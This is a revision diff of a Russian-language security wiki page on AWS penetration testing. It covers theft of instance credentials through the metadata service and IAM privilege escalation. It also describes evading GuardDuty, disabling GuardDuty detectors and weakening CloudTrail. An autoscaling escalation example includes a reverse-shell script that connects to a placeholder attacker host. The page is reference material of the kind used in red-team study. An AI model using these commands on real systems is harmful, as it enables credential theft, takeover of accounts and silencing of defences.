Aws — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Службы)
м (Службы)
 
(не показано 50 промежуточных версий этого же участника)
Строка 209: Строка 209:
 
У каждого профиля будет указан:
 
У каждого профиля будет указан:
  
* Access Key ID
+
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с "AKIA..."
  
* Access Key
+
* Access Key - 40 случайных символов различного регистра.
  
 
* Access Token - не всегда указывается
 
* Access Token - не всегда указывается
Строка 257: Строка 257:
 
# Создание нового пользователя - сервис IAM
 
# Создание нового пользователя - сервис IAM
 
aws iam create-user --user-name aws-admin2
 
aws iam create-user --user-name aws-admin2
 +
</syntaxhighlight>
 +
 +
== IMDS (Instance Metadata Service) ==
 +
 +
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.
 +
 +
Есть 2 версии:
 +
 +
*IMDSv1 - версия 1 по-умолчанию, не требует токен.
 +
 +
*IMDSv2 - версия 2, для запросов требуется токен.
 +
 +
Запрос без токена:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
curl http://169.254.169.254/latest/meta-data/
 +
</syntaxhighlight>
 +
 +
Запрос с токеном:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
 +
</syntaxhighlight>
 +
 +
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
# В начале делаем запрос на директорию /security-credentials/
 +
http://169.254.169.254/latest/meta-data/iam/security-credentials/
 +
# Потом выбираем нужный аккаунт и делаем запрос на него
 +
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account
 +
</syntaxhighlight>
 +
 +
Пример ответа:
 +
<syntaxhighlight lang="json" line="1" enclose="div" style="overflow-x:scroll" >
 +
{
 +
    "Code" : "Success",
 +
    "LastUpdated" : "2019-12-03T07:15:34Z",
 +
    "Type" : "AWS-HMAC",
 +
    "AccessKeyId" : "xxxxxxxxxxxxxxxxxxx",
 +
    "SecretAccessKey" : "xxxxxxxxxxxxxxxxxxxxx",
 +
    "Token" : "xxxxxxxxxxxxxxxxxxxxx",
 +
    "Expiration" : "2019-12-03T13:50:22Z"
 +
}
 +
</syntaxhighlight>
 +
После чего эти учетные данные можно использовать с awscli.
 +
 +
 +
Другие полезные Endpoint'ы:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
http://169.254.169.254/
 +
http://169.254.169.254/latest/user-data
 +
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
 +
http://169.254.169.254/latest/meta-data/
 +
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
 +
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
 +
http://169.254.169.254/latest/meta-data/ami-id
 +
http://169.254.169.254/latest/meta-data/reservation-id
 +
http://169.254.169.254/latest/meta-data/hostname
 +
http://169.254.169.254/latest/meta-data/public-keys/
 +
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
 +
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
 +
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
 +
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
 +
http://169.254.169.254/latest/dynamic/instance-identity/document
 
</syntaxhighlight>
 
</syntaxhighlight>
  
 
= Ролевая модель =
 
= Ролевая модель =
  
Почти все описание доступа идет через роли.
+
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:
 +
 
 +
* trust policy - определяет, чья будет роль
 +
 
 +
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.
 +
 
 +
 
  
  
Каждая роль состоит из следующих компонентов:
+
Каждая политика состоит из следующих компонентов:
  
 
* Ресурс - цель, кому выдается правило. Может быть:
 
* Ресурс - цель, кому выдается правило. Может быть:
 
** Пользователь
 
** Пользователь
 
** Группа, в которой могут быть аккаунты по какому то признаку
 
** Группа, в которой могут быть аккаунты по какому то признаку
** Другая роль.
+
** Другая политика.
  
 
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)
 
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)
Строка 281: Строка 349:
 
Пример политики:
 
Пример политики:
 
<syntaxhighlight lang="json" line="1" enclose="div" style="overflow-x:scroll" >
 
<syntaxhighlight lang="json" line="1" enclose="div" style="overflow-x:scroll" >
"Statement": [
+
{
     {
+
     "Version": "2012-10-17", //Версия политики
      "Effect": "Allow",
+
    "Statement": [
      "Action": [
+
         {
         "iam:GetGroup",
+
            "Sid": "Stmt32894y234276923" //Опционально - уникальный идентификатор
        "iam:GetLoginProfile",
+
            "Effect": "Allow", //Разрешить или запретить
        "iam:GetUser",
+
            "Action": [  //Разрешенные/Запрещенные действия
        "iam:ListAccessKeys",
+
                "ec2:AttachVolume",
        "iam:ListAccountAliases",
+
                "ec2:DetachVolume"
        "iam:ListGroupPolicies",
+
            ],  
        "iam:ListGroups",
+
            "Resource": [ //На какие ресурсы можно/нельзя совершать действия
        "iam:ListGroupsForUser",
+
                "arn:aws:ec2:*:*:volume/*",
        "iam:ListMFADevices",
+
                "arn:aws:ec2:*:*:instance/*"
        "iam:ListSigningCertificates",
+
            ],
        "iam:ListUsers",
+
            "Condition": { //Опционально - условия срабатывания
        "iam:GetServerCertificate",
+
                "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
        "iam:ListServerCertificates",
+
            }
      ],
+
        }
      "Resource": "*"
+
    ]
    }
+
}
]
 
 
</syntaxhighlight>
 
</syntaxhighlight>
  
Строка 332: Строка 399:
 
]
 
]
 
</syntaxhighlight>
 
</syntaxhighlight>
 
  
 
= Службы =
 
= Службы =
Строка 357: Строка 423:
  
 
См. Glue
 
См. Glue
 +
 +
==== iam:PutRolePolicy ====
 +
 +
Создать или обновить inline-политику для роли.
 +
 +
==== iam:PutGroupPolicy ====
 +
 +
Создать или обновить inline-политику для группы.
 +
 +
==== iam:PuserUserPolicy ====
 +
 +
Создать или обновить inline-политику.
 +
 +
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====
 +
 +
Обновить документ "AssumeRolePolicyDocument" для роли.
  
 
=== Роли - повышение до админа ===
 
=== Роли - повышение до админа ===
Строка 411: Строка 493:
  
 
Создать административную политику.
 
Создать административную политику.
 
==== iam:AddUserToGroup ====
 
 
Добавить пользователя в группу администраторов:
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 
aws iam add-user-to-group --group-name target_group --user-name my_username
 
</syntaxhighlight>
 
  
 
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====
 
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====
Строка 436: Строка 511:
 
См. EC2
 
См. EC2
  
== EBS(Elastic Block Store) ==
+
 
 +
==== iam:AttachUserPolicy ====
 +
 
 +
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.
 +
 
 +
== AWS Shield ==
 +
 
 +
Сервис для защиты от DDoS.
 +
 
 +
 
 +
== Cognito ==
 +
 
 +
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.
 +
 
 +
=== Основное ===
 +
 
 +
Cognito отвечает за следующие действия:
 +
 
 +
* Регистрация пользователя (email + пароль)
 +
 
 +
* Авторизация пользователя
 +
 
 +
* Работа с сохраненной пользовательской информацией (устанавливается приложением)
 +
 
 +
* Специальные действия (например, предоставление AWS-ключей)
 +
 
 +
 
 +
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).
 +
 
 +
 
 +
Пример URL: cognito-identity.us-east-1.amazonaws.com
 +
 
 +
 
 +
За действие отвечает HTTP-заголовок "X-Amz-Target". В своем роде, это Endpoints API.
 +
 
 +
 
 +
Какие параметры требуются для работы с ним:
 +
 
 +
1. Название Endpoint'а  - "X-Amz-Target" заголовок
 +
 
 +
2. Регион - "aws_project_region" параметр
 +
 
 +
3. Session token - позже требуется для запросов.
 +
 
 +
4. Identity Pool ID - нужен для запросов типа Identity Pools.
 +
 
 +
 
 +
Также пишут, что Cognito разделяется на две основные части:
 +
 
 +
* User Pools  - для тех, кому нужна только регистрация и аутентификация
 +
 
 +
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.
 +
 
 +
 
 +
 
 +
 
 +
=== X-Amz-Target (Endpoints) ===
 +
 
 +
==== AWSCognitoIdentityService.UpdateUserAttributes ====
 +
 
 +
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.
 +
 
 +
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a
 +
 
 +
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.
 +
 
 +
P.S. Мб неверно название Endpoint'а. Надо проверять.
 +
 
 +
 
 +
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====
 +
 
 +
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.
 +
 
 +
Требуется aws_identity_pool_id.
 +
 
 +
В некоторых примерах оно также было указано как "com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity"
 +
 
 +
 
 +
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963
 +
 
 +
 
 +
==== AWSCognitoIdentityService.GetOpenIdToken ====
 +
 
 +
Позволяет получить OpenID токен, действительный на 10 минут.
 +
 
 +
В примере требуется только "IdentityID"
 +
 
 +
 
 +
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====
 +
 
 +
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый "IdentityID" (если он не был указан).
 +
 
 +
 
 +
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====
 +
 
 +
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.
 +
 
 +
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html
 +
 
 +
== GuardDuty ==
 +
 
 +
Сервис для детектирования атак используя машинное обучение.
 +
 
 +
Для детекта использует следующие сервисы:
 +
 
 +
* CloudTrail
 +
* VPC Flow Logs
 +
* DNS Logs
 +
* ...to be continued
 +
 
 +
=== Обход защиты  ===
 +
 
 +
Далее идут правила детекта и то, как их можно обойти.
 +
 
 +
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====
 +
 
 +
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).
 +
 
 +
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).
 +
 
 +
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.
 +
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.
 +
 
 +
Может быть для этого выгодно держать проксирующий сервер EC2.
 +
 
 +
==== UserAgent rules ====
 +
 
 +
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali.
 +
Варианты:
 +
 
 +
* Использовать утилиту pacu (уже есть смена User-Agent)
 +
 
 +
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.
 +
 
 +
=== Роли - Управление ===
 +
 
 +
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html
 +
 
 +
==== guardduty:UpdateDetector ====
 +
 
 +
Позволяет выключить GuardDuty (ну или редатировать правила):
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
aws guardduty update-detector --detector-id <id of detector> --no-enable
 +
</syntaxhighlight>
 +
==== guardduty:DeleteDetector ====
 +
 
 +
Удалить правило детектирования:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
aws guardduty delete-detector --detector-id <id of detector>
 +
</syntaxhighlight>
 +
 
 +
== STS (Security Token Service) ==
 +
 
 +
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей
 +
 
 +
== KMS (Key Management Service) ==
 +
 
 +
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.
 +
 
 +
Администраторы амазона не смогут получить к ним доступ.
 +
 
 +
 
 +
Ключи со временем обновляются:
 +
 
 +
* Customers keys - раз в 365 дней
 +
 
 +
* AWS keys - раз в 3 года.
 +
 
 +
 
 +
Старые ключи также можно будет использовать для расшифровки.
 +
 
 +
== CloudHSM (Hardware Security Module) ==
 +
 
 +
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению.
 +
 
 +
Пишут, что устройство будет закреплено только за вами.
 +
 
 +
Также можно получить доступ к CloudHSM-Instance по SSH.
 +
 
 +
== Athena ==
 +
 
 +
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.
 +
 
 +
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.
 +
 
 +
== EBS (Elastic Block Store) ==
  
 
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).
 
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).
Строка 573: Строка 833:
 
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
 
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
 +
В S3 может использоваться шифрование:
 +
 +
* SSE-KMS - Server-Side с ключами KMS
 +
 +
* SSE-C - Server-Side с ключами заказчика
 +
 +
* CSE-KMS - Client-Side с ключами KMS
 +
 +
* CSE-C - Client-Side с ключами заказчика
  
 
=== Сбор информации ===
 
=== Сбор информации ===
Строка 603: Строка 874:
 
=== Роли - управление ===
 
=== Роли - управление ===
  
=== s3:ListBucket ===
+
==== s3:ListBucket ====
  
 
Посмотреть список файлов в S3-хранилище:
 
Посмотреть список файлов в S3-хранилище:
Строка 610: Строка 881:
 
</syntaxhighlight>
 
</syntaxhighlight>
  
=== s3:ListAllMyBuckets ===
+
==== s3:ListAllMyBuckets ====
  
 
Посмотреть список всех S3-хранилищ, доступных мне:
 
Посмотреть список всех S3-хранилищ, доступных мне:
Строка 646: Строка 917:
 
ec2-{ip-seperated}.compute-1.amazonaws.com
 
ec2-{ip-seperated}.compute-1.amazonaws.com
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
=== SSM Agent ===
 +
 +
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.
 +
 +
Его тоже можно выбрать целью атаки
 +
 +
==== MITM ====
 +
 +
Есть возможность вклиниваться в общение от SSM-Агента локально.
 +
 +
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception
 +
 +
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/
 +
  
 
=== Роли - повышение привилегий ===
 
=== Роли - повышение привилегий ===
Строка 789: Строка 1075:
  
 
См. AD.
 
См. AD.
 +
 +
 +
== Auto Scaling (autoscaling) ==
 +
 +
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.
 +
 +
Для работы сервиса требуется:
 +
 +
1. Конфигурация запуска EC2.
 +
 +
2. Конфигурация масштабирования.
 +
 +
 +
== Роли - повышение привилегий ==
 +
 +
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===
 +
 +
Позволяет создать и запустить конфигурацию масштабирования.
 +
 +
==== Создаем конфигурацию запуска EC2 ====
 +
 +
Для создания требуется:
 +
 +
1. Image-id
 +
 +
2. iam-instance-profile
 +
 +
 +
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options "HttpEndpoint=enabled,HttpTokens=optional" --associate-public-ip-address --user-data=file://reverse-shell.sh
 +
</syntaxhighlight>
 +
 +
Пример содержимого reverse-shell.sh:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
#!/bin/bash
 +
/bin/bash -l > /dev/tcp/atk.attacker.xyz/443 0<&1 2>&1
 +
</syntaxhighlight>
 +
 +
==== Создаем и запускаем группу масштабируемости ====
 +
 +
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier "subnet-aaaabbb"
 +
</syntaxhighlight>
 +
 +
 +
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b
  
 
== AD (Directory Service) ==
 
== AD (Directory Service) ==
Строка 858: Строка 1194:
  
 
Важен при операциях RedTeam.
 
Важен при операциях RedTeam.
 +
 +
 +
Название файла логов:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat
 +
</syntaxhighlight>
 +
 +
S3 путь до логов:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD
 +
</syntaxhighlight>
 +
 +
Путь у CloudTrail-Digest файлов:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz
 +
</syntaxhighlight>
 +
 +
Основные поля у событий:
 +
 +
* eventName - имя API-endpoint
 +
 +
* eventSource - вызванный сервис
 +
 +
* eventTime - время события
 +
 +
* SourceIPAddress - ip-адрес источника
 +
 +
* userAgent - метод запроса
 +
** "signing.amazonaws.com" - запрос от AWS Management Console
 +
** "console.amazonaws.com" - запрос от root-пользователя аккаунта
 +
** "lambda.amazonaws.com" - запрос от AWS Lambda
 +
 +
* requestParameters - параметры запроса
 +
 +
* responseElements - элементы ответа.
 +
 +
 +
Временные параметры:
 +
 +
* 5 минут - сохраняется новый лог-файл
 +
 +
* 15 минут - сохраняется в S3.
 +
 +
 +
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.
 +
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.
  
 
=== Роли - управление ===
 
=== Роли - управление ===
Строка 883: Строка 1265:
 
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
 
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
==== validate-logs ====
 +
 +
Проверить, были ли изменены логи.
 +
 +
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
 +
  
  
Строка 1116: Строка 1505:
 
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
 
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
== ECS (Elastic Container Service) ==
 +
 +
Сервис координирования контейнеров - развертывание, администрирование, масштабирование.
 +
 +
 +
 +
 +
=== Статьи ===
 +
 +
[https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/ RhinoSecurity ECR/ECS]
 +
 +
[https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/ RhinoSecurity ECS]
 +
 +
 +
=== Утилиты ===
 +
 +
https://github.com/RhinoSecurityLabs/ccat
 +
 +
 +
== Augmented AI (Amazon A2I) ==
 +
 +
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.
 +
 +
[[File:A2i.png|1000px]]
 +
 +
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .
 +
 +
При создании задачи разделяется на 3 варианта:
 +
 +
* Textract - извлечение пары ключ-значение из текста
 +
 +
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.
 +
 +
* Custom - пользовательский вариант
 +
 +
Интересный факт - использует "Quill Rich Text Editor" для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.
 +
 +
 +
https://aws.amazon.com/ru/augmented-ai/
 +
 +
 +
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:
 +
 +
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.
 +
 +
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.
 +
 +
3. Vendor - решения сторонних разработчиков.
 +
 +
 +
=== Роли ===
 +
 +
==== AmazonAugmentedAIIntegratedAPIAccess ====
 +
 +
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.
 +
 +
TODO: проверить, дает ли это еще возможностей злоумышленнику
 +
 +
== CodeGuru ==
 +
 +
Автоматизируйте проверку кода и оптимизируйте производительность приложений с помощью рекомендаций на базе машинного обучения
 +
 +
[[File:Aws codeguru.png| 1000px]]
 +
 +
https://aws.amazon.com/ru/codeguru/
 +
 +
Разделяется на следующие части:
 +
 +
- Reviewer - выявляет критические проблемы, уязвимости системы безопасности и трудноуловимые ошибки + дает рекомендации (языки Java и Python) - статикой.
 +
 +
- Profiler - выявление самых дорогостоящих строк, повышение производительности и тд засчет запуска в среде выполнения. Важно особенно для тех, кто платит за время работы скриптов.
 +
 +
Также на странице есть упоминание про их игру - BugBust
 +
 +
https://us-east-1.console.aws.amazon.com/codeguru/bugbust/participant#/
 +
 +
== Comprehend ==
 +
 +
https://aws.amazon.com/ru/comprehend/
 +
 +
Сервис по извлечению ценной информации из текста и работе с ним.
 +
 +
[[File:Aws comprehend.png|1000px]]
 +
 +
Список категорий, на которые может разбить текст, есть на фото выше.
 +
 +
 +
Для пользовательских настроек есть несколько параметров:
 +
 +
- Кастомные классификации
 +
 +
- Кастомные определения вставок в тексте
 +
 +
- Endpoints - для real-time работы. !!! Достаточно дорогой сервис. В месяц берет 1400$ при минимальной сборке, поэтому если злоумышленник сможет запускать в нем Endpoint'ы в большом количестве, то компания обанкротится.
 +
 +
== DevOps Guru ==
 +
 +
https://aws.amazon.com/ru/devops-guru/
 +
 +
Собирает метрики из различных сервисов и детектит различные аномалии. Проще говоря, делает статистику по метрикам и с машинным обучением находит ошибки.
 +
 +
Источники метрик:
 +
 +
* CloudWatch
 +
 +
* AWS Config
 +
 +
* CloudTrail
 +
 +
* X-Ray
 +
 +
 +
Если рассуждать со стороны злоумышленника, то если у него есть доступ к DevOps Guru, то у него также есть AIM-роль "Amazon DevOps Guru_Role" и привилегии на доступ к следующим ресурсам:
 +
 +
* Amazon CloudWatch
 +
 +
* Amazon CloudWatch Events
 +
 +
* Amazon CloudWatch Logs
 +
 +
* AWS CodeDeploy
 +
 +
* AWS CodePipeline
 +
 +
* AWS CloudFormation
 +
 +
* AWS CloudTrail
 +
 +
* AWS Systems Manager
 +
 +
* AWS X-Ray
 +
 +
== Elastic Inference ==
 +
 +
https://aws.amazon.com/machine-learning/elastic-inference/
 +
 +
 +
== Forecast ==
 +
 +
Служба прогнозирования временных рядов используя машинное обучение (предсказывание последующих событий).
 +
 +
https://aws.amazon.com/ru/forecast/
 +
 +
При настройке можно выбрать один из forecasting-доменов:
 +
 +
* Retail
 +
 +
* Custom
 +
 +
* Inventory planning
 +
 +
* EC2 capacity
 +
 +
* Work force
 +
 +
* Web traffic
 +
 +
* Metrics
 +
 +
Формально это шаблоны для быстрой настройки сервиса.
 +
 +
Если у атакующего есть привилегии данного сервиса, то можно предположить, что он тоже может получать те же данные (например, количество трафика), что и сам сервис
 +
 +
== Fraud Detector ==
 +
 +
https://aws.amazon.com/ru/fraud-detector/
 +
 +
"Разработка и развертывание моделей выявления мошенничества используя машинное обучение"
 +
 +
== HealthLake ==
 +
 +
https://aws.amazon.com/healthlake/
 +
 +
== Kendra ==
 +
 +
https://aws.amazon.com/kendra/?did=ap_card&trk=ap_card
 +
 +
== Lex ==
 +
 +
https://aws.amazon.com/lex/?did=ap_card&trk=ap_card
 +
 +
== Lookout for Equipment ==
 +
 +
https://aws.amazon.com/ru/lookout-for-equipment/
 +
 +
== Lookout for Metrics ==
 +
 +
https://aws.amazon.com/lookout-for-metrics/
 +
 +
== Lookout for Vision ==
 +
 +
https://aws.amazon.com/lookout-for-vision/
 +
 +
== Monitron ==
 +
 +
https://aws.amazon.com/monitron/
 +
 +
== Personalize ==
 +
 +
https://aws.amazon.com/personalize/
 +
 +
== Polly ==
 +
 +
https://aws.amazon.com/polly/
 +
 +
== Rekognition ==
 +
 +
https://aws.amazon.com/rekognition/
 +
 +
== SageMaker ==
 +
 +
https://aws.amazon.com/sagemaker/
 +
 +
== SageMaker Ground Truth ==
 +
 +
https://aws.amazon.com/sagemaker/groundtruth/
 +
 +
== Textract ==
 +
 +
https://aws.amazon.com/textract/
 +
 +
== Transcribe ==
 +
 +
https://aws.amazon.com/transcribe/
 +
 +
== Translate ==
 +
 +
https://aws.amazon.com/translate/
 +
 +
== Apache MXNet ==
 +
 +
https://aws.amazon.com/ru/mxnet/
 +
 +
== Deep Learning Containers ==
 +
 +
https://aws.amazon.com/machine-learning/containers/
 +
 +
== DeepComposer ==
 +
 +
https://aws.amazon.com/deepcomposer/
 +
 +
== DeepLens ==
 +
 +
https://aws.amazon.com/deeplens/
 +
 +
== DeepRacer ==
 +
 +
https://aws.amazon.com/deepracer/
 +
 +
== Inferentia ==
 +
 +
https://aws.amazon.com/machine-learning/inferentia/
 +
 +
== Panorama ==
 +
 +
https://aws.amazon.com/panorama/
 +
 +
== PyTorch ==
 +
 +
https://aws.amazon.com/pytorch/
 +
 +
== TensorFlow ==
 +
 +
https://aws.amazon.com/tensorflow/
 +
 +
== Deep Learning AMI ==
 +
 +
https://aws.amazon.com/machine-learning/amis/
  
 
= Утилиты =
 
= Утилиты =
Строка 1187: Строка 1845:
  
 
=== pacu ===
 
=== pacu ===
 +
 +
https://github.com/RhinoSecurityLabs/pacu
  
 
=== ScoutSuite ===
 
=== ScoutSuite ===
  
 
https://github.com/nccgroup/ScoutSuite
 
https://github.com/nccgroup/ScoutSuite
 +
 +
=== cloudfox ===
 +
 +
https://github.com/BishopFox/cloudfox
  
 
= Ссылки =
 
= Ссылки =
  
 
== Статьи ==
 
== Статьи ==
 +
 +
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]
 +
 +
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]
 +
 +
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]
  
 
== Лаборатории ==
 
== Лаборатории ==
Строка 1203: Строка 1873:
  
 
[http://flaws.cloud Flaws]
 
[http://flaws.cloud Flaws]
 +
 +
[http://flaws2.cloud/ Flaws]
 +
 +
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]
 +
 +
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]
 +
 +
[https://github.com/nccgroup/sadcloud SadCloud]
 +
 +
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]
 +
 +
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]
 +
 +
[https://pentesting.cloud/ Free AWS Security Labs]
  
 
== Краткие заметки ==
 
== Краткие заметки ==
Строка 1208: Строка 1892:
 
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]
 
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]
  
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks]
+
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]
 +
 
 +
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]
 +
 
